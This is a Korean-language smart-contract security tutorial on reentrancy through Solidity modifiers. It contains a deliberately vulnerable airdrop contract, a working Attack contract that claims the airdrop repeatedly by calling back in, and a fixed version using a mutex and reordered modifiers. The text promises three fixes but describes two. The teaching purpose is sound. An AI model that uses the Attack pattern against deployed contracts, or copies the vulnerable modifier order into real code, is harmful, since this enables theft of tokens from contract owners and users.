modifier를 통한 재진입(reentrancy)은 복잡성 측면에서 또 다른 수준의 재진입일 수 있습니다. 스마트 컨트랙트에서 이러한 취약점을 파악하는 것이 어려울 수 있습니다.
나중에 설명할 InsecureAirdrop, Attack, FixedAirdrop 컨트랙트에서 상호작용에 필요한 IAirdropReceiver 인터페이스입니다.
pragma solidity 0.8.13;
interface IAirdropReceiver {
function canReceiveAirdrop() external returns (bool);
}
receiveAirdrop 함수는 호출하는 모든 사람에게 에어드롭을 제공하는 함수입니다.
pragma solidity 0.8.13;
import "./Dependencies.sol";
contract InsecureAirdrop {
mapping (address => uint256) private userBalances;
mapping (address => bool) private receivedAirdrops;
uint256 public immutable airdropAmount;
constructor(uint256 _airdropAmount) {
airdropAmount = _airdropAmount;
}
function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
// Mint Airdrop
userBalances[msg.sender] += airdropAmount;
receivedAirdrops[msg.sender] = true;
}
modifier neverReceiveAirdrop {
require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
_;
}
// 이 예제에서는 _isContract() 함수가 다음을 확인하는데 사용됩니다.
// 보안 측면을 확인하지 않고 에어드랍이 가능한지 호환성만 확인합니다.
function _isContract(address _account) internal view returns (bool) {
// 이 함수가 반환하는 값이 다음과 같다고 가정하는 것은 안전하지 않습니다.
// false는 외부 소유 계정(EOA)이며 Contract가 아닙니다.
uint256 size;
assembly {
// 계약 크기 확인 우회 문제가 있습니다.
// 그러나 이 예제에서 다루지 않습니다.
size := extcodesize(_account)
}
return size > 0;
}
modifier canReceiveAirdrop() {
// 발신자가 Smart Contract일 경우 에어드랍을 받을 수 있는지 확인합니다.
if (_isContract(msg.sender)) {
// 이 예제에서는 _isContract() 함수가 다음을 확인하는데 사용됩니다.
// 보안 측면을 확인하지 않고 에어드랍이 가능한지 호환성만 확인합니다.
require(
IAirdropReceiver(msg.sender).canReceiveAirdrop(),
"Receiver cannot receive an airdrop"
);
}
_;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
function hasReceivedAirdrop(address _user) external view returns (bool) {
return receivedAirdrops[_user];
}
}
에어드랍을 받으려면, 받고 싶은 사람은 InsecureAirdrop 컨트랙트의 **receiveAirdrop()**
함수를 호출해야합니다.
재진입 공격은 공격자가 재귀적으로 요청을 수행하여 기대치를 초과하는 에어드랍을 획득하는 프로그래밍 방식입니다.
InsecureAirdrop Contract의 경우, 재진입은 canReceiveAirdrop modifier의 46번째 줄에서 시작됩니다.
**attack()**
함수에 **10**
을 넣어 **receiveAirdrop()**
함수를 호출합니다.**10**
만큼 반복문을 돌며 InsecureAirdrop의 receiveAirdrop() 함수를 반복적으로 호출하여 에어드랍을 받습니다.neverReceiveAirdrop modifier가 매번 해당 주소가 이미 에어드랍을 받았는지 확인하지만 함수의 본문은 modifier가 모두 호출되고 실행되게 됩니다. 결국 10번이나 재귀적으로 receiveAirdrop()이 호출되는 동안 한번도 업데이트가 되지 않습니다.
Attack Contract는 InsecureAirdrop Contract를 공격하는 데 사용할 수 있습니다.
pragma solidity 0.8.13;
import "./Dependencies.sol";
interface IAirdrop {
function receiveAirdrop() external;
function getUserBalance(address _user) external view returns (uint256);
}
contract Attack is IAirdropReceiver {
IAirdrop public immutable airdrop;
uint256 public xTimes;
uint256 public xCount;
constructor(IAirdrop _airdrop) {
airdrop = _airdrop;
}
function canReceiveAirdrop() external override returns (bool) {
if (xCount < xTimes) {
xCount++;
airdrop.receiveAirdrop();
}
return true;
}
function attack(uint256 _xTimes) external {
xTimes = _xTimes;
xCount = 1;
airdrop.receiveAirdrop();
}
function getBalance() external view returns (uint256) {
return airdrop.getUserBalance(address(this));
}
}
공격자는 attack() 함수를 호출합니다. 이때 전달 인자는 10입니다. 이 경우 10은 공격자가 에어드랍을 얻고자 하는 증폭 횟수를 나타냅니다.
그림과 같이 일반 사용자는 999개의 토큰만 받을 수 있는 반면, 공격자는 원하는 만큼의 토큰을 얻을 수 있습니다.
3가지 솔루션이 있습니다.
pragma solidity 0.8.13;
import "./Dependencies.sol";
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
contract FixedAirdrop is ReentrancyGuard {
mapping (address => uint256) private userBalances;
mapping (address => bool) private receivedAirdrops;
uint256 public immutable airdropAmount;
constructor(uint256 _airdropAmount) {
airdropAmount = _airdropAmount;
}
// FIX: 1. Apply mutex lock (noReentrant) as the first modifier
// FIX: 2. Call canReceiveAirdrop before neverReceiveAirdrop
function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop {
// Mint Airdrop
userBalances[msg.sender] += airdropAmount;
receivedAirdrops[msg.sender] = true;
}
modifier neverReceiveAirdrop {
require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
_;
}
// In this example, the _isContract() function is used for checking
// an airdrop compatibility only, not checking for any security aspects
function _isContract(address _account) internal view returns (bool) {
// It is unsafe to assume that an address for which this function returns
// false is an externally-owned account (EOA) and not a contract
uint256 size;
assembly {
// There is a contract size check bypass issue
// But, it is not the scope of this example though
size := extcodesize(_account)
}
return size > 0;
}
modifier canReceiveAirdrop() {
// If the caller is a smart contract, check if it can receive an airdrop
if (_isContract(msg.sender)) {
// In this example, the _isContract() function is used for checking
// an airdrop compatibility only, not checking for any security aspects
require(
IAirdropReceiver(msg.sender).canReceiveAirdrop(),
"Receiver cannot receive an airdrop"
);
}
_;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
function hasReceivedAirdrop(address _user) external view returns (bool) {
return receivedAirdrops[_user];
}
}
“neverReceiveAirdrop” 보다 앞에 “canReceiveAirdrop” modifier 호출하기
의 경우, modifier의 실행 순서를 변경하여 해결할 수 있습니다.
실행 순서는 공격자가 에어드랍을 받을 자격을 갖췄는지 확인 후 공격자가 에어드랍을 받은 적이 없는지를 확인합니다.
첫 번째 modifier로 mutex lock(noReentrant modifier)을 적용하기
의 경우 receiveAirdrop 함수에 첫 번째 modifier로 noReentrant를 첫 번째 modifier로 붙였습니다.
간단히 재진입 시도를 막을 수 있습니다.